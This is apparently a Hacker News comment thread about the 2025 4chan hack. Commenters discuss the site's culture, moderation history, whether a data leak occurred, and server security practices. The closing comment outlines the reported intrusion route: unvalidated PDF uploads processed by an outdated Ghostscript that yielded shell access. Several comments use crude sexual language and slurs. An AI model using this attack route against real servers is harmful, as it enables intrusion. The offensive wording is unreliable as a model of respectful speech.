> "jokes" where the punchline is "I hate my political enemies"
Hence the laughter in the White House at refusing to follow the court order to return their political enemies from the overseas prison.
4chan may have died, but Trump is more the first 4chan President than Howard Dean was the first "internet candidate", and especially Musk the Twitter Presidential Vizir is the heir to this culture.
johnnyjeans
Incredibly spot-on and well-put.
knowknow
Is it considered part of it? From my understanding, the culture has changed significantly and post get auto deleted eventually, so it’s not a good archive either. The only thing old about it is it’s web design
sznio
the mechanics are old
there's no other online community i know of that still allows fully anonymous posting
the culture changed, but the "environment" causing the culture there to be the way it is still same as the original.
the bump/delete mechanics work well to promote the most controversial, most engaging content, without any advanced statistics or ML.
despite being a shitty place, i don't feel advertised to, spied or in any way abused _by the software itself_ while browsing it
TheAceOfHearts
Posting on 4chan just kept becoming increasingly user hostile, especially for casual users, you had to be really determined to post something: posts started requiring 24 hour email verification, and after that you had to wait ~10 minutes before being allowed to post, and finally you had to complete a nearly impossible captcha which could lock you out from posting for an undetermined amount of time just for failing. It became apparent that the owners were pushing the gold pass pretty damn hard, and it's advertised on literally every board page.
Shank
> there's no other online community i know of that still allows fully anonymous posting
Doesn't 8chan/kun still exist?
DrillShopper
> there's no other online community i know of that still allows fully anonymous posting
Usenet?
It even has the issue of old posts disappearing when the retention at your UNIX system / ISP rolled over.
nemomarx
every board had it's own independent archiving service after a while, so board culture ended up stickier than the original design. there's some interesting stuff in there
dimal
But really, 4chan-style bullshit took over the rest of the internet. At least in the old internet, it was self contained there. If someone spouted nonsense they read on 4chan, you could easily dismiss them as a crank. Now everyone is posting and reposting bullshit on a multitude of microblogging shitsites.
fny
Where do you see info about personal info?
I would presume Anon would which to remain anon.
geriatric-janny
My official association with 4chan ended in 2010, but I still recognise a good third of those names and would wager the leak is legit.
blitzar
Username checks out.
delusional
What kind of official association could one have with 4chan? 4chan was formative for my early connection to the internet, and I'm really curious what the organization behind it looked like. Was it professionally driven, or just some random guy mailing checks? stuff like that.
geriatric-janny
I lied about my age and was given janitor access in the mid 2000s. There was a special /j/ board to coordinate on, but it broke relatively early, and you mostly had to hang out in the #janiteam channel on Rizon. I think almost everybody else was underage as well. There was a minimal web overlay that let you delete/escalate posts. You couldn't see people's IPs, but you could see how many outstanding ban requests they had. These numbers helped me deduce that many boards' most infamous personalities were all the same guy.
We were all offered the chance to become mods in 2010, but moot wanted to see our faces on a Skype call. I thought that was a step too far and just gradually stopped caring after that. Seems like I made the right choice.
On the whole it was barely held together technically and organisationally, mostly run by moot's personal friends, and fun all around. Things were far less serious then.
And the checks arrived on time every month: $0.00
petecooper
>And the checks arrived on time every month: $0.00
Unexpectedly poignant.
dmonitor
> These numbers helped me deduce that many boards' most infamous personalities were all the same guy.
Simultaneously one of the best and worst parts about the website was how much a single person could create influence. Some guy spamposting "30-year old boomer" memes eventually turned boomer and zoomer into mainstream terminology.
I remember a long time ago, a general that I would frequent attracted the attention of a lunatic who would frequently try to ruin threads by spam posting corrupted unloadable images until the bumpcap was reached. It made a successful thread with no incidents feel like a moment of success.
delusional
Sounds about like what I would have expected as a (also underage) user at the time. The suspicion was always that most of the memorable joke chains were probably just one guy self-replying (I always suspected that was the case for the hunter2 meme specifically). It didn't really matter, it was funny anyway.
Thanks for taking the time to reply, and thanks for the fun back then :)
newZWhoDis
For those OOTL about that last part, a common meme/troll of the moderators/jannies is
“They do it for free”
People would post rule breaking content and say “clean it up janny”
no_time
Well... A full dump of the board exclusive to moderators and janitors was leaked too so now you could take a look yourself.
Blikkentrekker
So you were able to find the leak? Because I see reports that it was hacked repeated as fact everywhere on Daily Mail-tier reliable news websites and Reddit posts, but they are all based on “rumors on social media go about that there was a leak” but I've not been able to find the actual leak searching for it. Obviously not many people want to link it but it's also weird that so many people claim to have so easily been able to find it when I cannot.
Finally, I was there and using it when the website went down and this did not resemble an actual hack but technical issues. First there were a couple of hours where the website was up but no posts went through for anyone except occasionally when a new threat was bumped, mirroring the normal pattern of downtime issues that sometimes occur and then it just went down completely. This doesn't really resemble how a hack plays out but looks more like technical issues to me.
Even now, going to the front page, it loads for me, except very slowly and incompletely. This does not resemble a hack but technical issues.
DaSHacka
I would've taken you less time to find the 'sinister' content yourself than leave this sprawling reply
To your point:
It's more likely than not real, it contains configs for the entire site.
Blikkentrekker
Well, so you say, but every single news website that I can find willing to say something on the matter is either The Daily Mail and similar things that also say they based their information on leaks on “social media rumors” or more reputable websites that also say it's a rumor that there's a leak. One would assume if it be so easily found and I'm so incompetent that these news websites could've found it themselves and come with more certain claims.
TheAceOfHearts
There's a KnowYourMeme [0] post with additional details and context. Most interesting to me is finding out that there' s a word filer / transformer, so SMH becomes BAKA and TBH becomes DESU, as two examples.
[0] https://knowyourmeme.com/memes/events/april-2025-4chan-hack
tanjtanjtanj
Yep, it’s been that way for 20+ years!
The term “weeaboo” as a term for western anime fans only came about because it was what the word “wapanese” filtered to. It was originally a nonsense work made up in a Perry Bible Fellowship comic.
dang
That does seem to have more information, so I've changed the top url to that from https://old.reddit.com/r/4chan/comments/1jzkjlg/4chan_hacked.... Thanks!
cherryteastain
Rip 4chan. For all the bad it did, 4chan also made at least one real contribution to science [1], specifically to the study of superpermutations (aka the Haruhi problem), which was cited by genuine academics. We should try to remember it by that.
[1] https://www.theverge.com/2018/10/24/18019464/4chan-anon-anim...
anigbrowl
I think this is more of a temporary concussion, it'll be back up by the weekend.
lwidvrizokdhai
Oh wow, that's genuinely cool.
greazy
4chan is a reflection of the depraved, extreme side of humanity. Twitter has taken on the mantle of 'asshole of the internet', but I think the rotten apples post in both.
4chan is oddly accepting of gay and trans people. I've seen gay and trans porn side by side with bbc and bwc porn posts. Strange to see racist trans porn lovers.
I like 4chan for the minor boards, not /pol/ or /b/. But /boardgames/ and /dyi/ and /international/. The absurd humor, green texts that make absolutely no sense, or ones that lead down a strange and wonderful path.
I like being anonymous on the internet.
ashleyn
Neither site is a den of repute but it's notable that I can still say the word "cisgender" on 4chan, or openly insult moot and call him whatever I want without being banned for it (while mainstream sites select who is protected from harassment and who isn't, either along political lines or who owns the site).
null
Blikkentrekker
> 4chan is oddly accepting of gay and trans people. I've seen gay and trans porn side by side with bbc and bwc porn posts. Strange to see racist trans porn lovers.
It only seems odd because many people interpret this through a U.S.A. “culture war” lens and “gay people”. You believe they're “accepting of gay people” in the sense of that culture war because of the “gay porn”. In reality, they take more of a classical Graeco-Roman approach to it and believe it's completely normal for the average male to be attracted to cute twinks as the Romans did and often even reject the very notion of “sexual orientations” to begin with. Their “support” is definitely not in the sense of what one would expect of the U.S.A. “culture war”, jokes such as the below illustrate well what the culture is:
https://i.pinimg.com/736x/55/fe/d1/55fed16b625f9c5869587908f...
greazy
I should have used a better example to support my point.
I was referring to the website it self allowing gay and trans content, and even other non mainstream content (furry, MLP). The content is not just porn related (though a big chunk of it is).
On the porn front, I don't agree with liking 'lady dick' twink lovers only. There's 'normal' gay content (male on male).
On the non porn content, lots of posts will begin with 'Im a gayfag' (fag here I used as a catch all self deprecating term, some users will say I'm a oldfag, even seen ladyfag). Never seen any outright harassment of gay people when they post.
Having said that, there is straight gay, trans, minority hating posts and content.
4chan is a wild jungle. Or was.
anonCoffee
[dead]
cbg0
Hosting a copy of phpMyAdmin behind basic HTTP authentication in 2025 really is asking for it.
ndiddy
The hacker posted a screenshot of the shell on the 4chan server. It was running FreeBSD 10.1, which came out in 2014 and stopped getting patches in 2016. It seems like there was basically nobody doing maintenance after moot sold the site. I wonder how long it'll take for them to get the site back up if they don't have anyone who can do server administration.
TonyTrapp
Can you please elaborate how it is "asking for it" if we assume the basic auth password is reasonably complex and kept as safe as, say, the SSH login credentials of the same server?
cbg0
You shouldn't be logging in to a server via SSH using a user+password combo, instead use a public/private key combo which is considerably more complex and can't effectively be bruteforced like a user+password.
Most web servers don't really come with any built in defense against brute force attempts vs Basic Auth gates, so unless you've set something up to protect it, someone with enough time will eventually get in.
ArinaS
> "can't effectively be bruteforced like a user+password."
Only when the password is weak enough to bruteforce swiftly. It will take literally thousands of years to bruteforce strong passwords.
null
voidUpdate
Genuine question that I haven't found a good solution to yet, if I want to just go to any old computer and ssh into my server, do I have to carry around a USB stick with the ssh key on or something? because I sure as hell wont be able to just remember it
lossolo
> someone with enough time will eventually get in
That's only correct if the password is weak. With enough entropy, it's practically impossible to brute force.
ceejayoz
I haven’t used it for many years now, but phpMyAdmin was long a source of compromises. Lots of security holes.
TonyTrapp
That's my point - if you have a reasonably secure password (let's say 50-100 characters, fully random), it's extremely unlikely that anyone is ever going to even get beyond the basic auth prompt.
udev4096
A password is just plain text, which apart from being bruteforced, can easily be phished. There are so many things wrong with using a password even if it's fairly complex. Instead, stick to passkeys and SSH keys
jsheard
I was kinda surprised to see that phpMyAdmin is still maintained, albeit only barely. The last release was in January but before that it hadn't been touched for over two years.
pelagicAustral
This stuff is still packaged with cPanel, which is probably the most common way to manage web servers on the internet.
Macha
I wonder how long it's been since that was true. I think that era passed when most small businesses and individuals moved from self hosting to SaaS.
lossolo
Sure, if you slap Basic Auth with "admin:admin" on phpMyAdmin in 2025, you're asking for it. But a Basic Auth password with 256 bits of entropy is just as resistant to brute force as AES-256 (assuming the implementation is sound and TLS is used). It's not the protocol that's insecure, it's usually how it's deployed.
andruby
Only if it's only accessible via proper TLS (otherwise it's easy to read the user/pass with MITM as basic auth doesn't encrypt the user/pass).
If there is no throttling/rate-limiting/banning then this setup allows for a lot of attempts, wether brute-force or dictionary.
jeroenhd
As long as "a lot of attempts" take longer than the time it'll take the sun to expand and envelop the earth, that's not really a problem.
Every form of authentication is either subject to "a lot of attempts" or trivial DoS (for when you rate limit the login API so now admins can't log in either). The principles behind modern authentication are mostly "how do we make verification require even more attempts if the attacker doesn't know the password".
RockRobotRock
What is "a lot of attempts"? I'm no expert in cryptography, but there's many orders of magnitude difference between a distributed bruteforce of a known hash, and bruteforcing over the web.
whalesalad
A tale as old as time
perdomon
Has Fireship made a video about this yet? I bet we'll see one tomorrow.
helle253
Wow, the comments on this thread are much more divisive than I thought.
I've always felt that the 'there are only two internet cultures: 4chan and tumblr' has felt somewhat accurate. Unfortunately moreso now that /pol/ and /r9k/ have taken over broad swathes of the internet.
It's sad to see how far this old haunt has fallen. Lurking /v/ in my early/mid teens was a formative experience for me. It wasn't as hateful as it was, until Gamergate.
h2zizzle
/r9k/ is such a weird situation, because its original incarnation prided itself on being an intellectual bastion on the site. The robot meant that you couldn't meme so easily; you had to attempt to write something substantial or meaningful (or at least original). Most were simply discussions, but you'd also get creative gems like futureguy's sobering predictions (well, history, for him).
tfwnogf really did kill everything.
throwanem
> I've always felt that the 'there are only two internet cultures: 4chan and tumblr' has felt somewhat accurate.
"Somewhat accurate" is exactly right.
This formulation overstates the number of Internet cultures by one, in that the deepest and most shameful secret of both websites' most avid users is that they have always been both websites' most avid users.
Other than that, there's nothing wrong with it.
mikrl
For all the sad words of tongue and pen, the saddest are these: “website running 15 year old software gets pwned again”
I did some digging and the hacker posted which exploit he used.
Apparently some boards allowed uploading PDF files, but the site never checked if the PDF file was an actual PDF file. Once a PDF file was uploaded it was passed to a version of Ghostscript from 2012 which would generate a thumbnail. So the attacker found an exploit where uploading a PDF with the right PostScript commands could give the attacker shell access.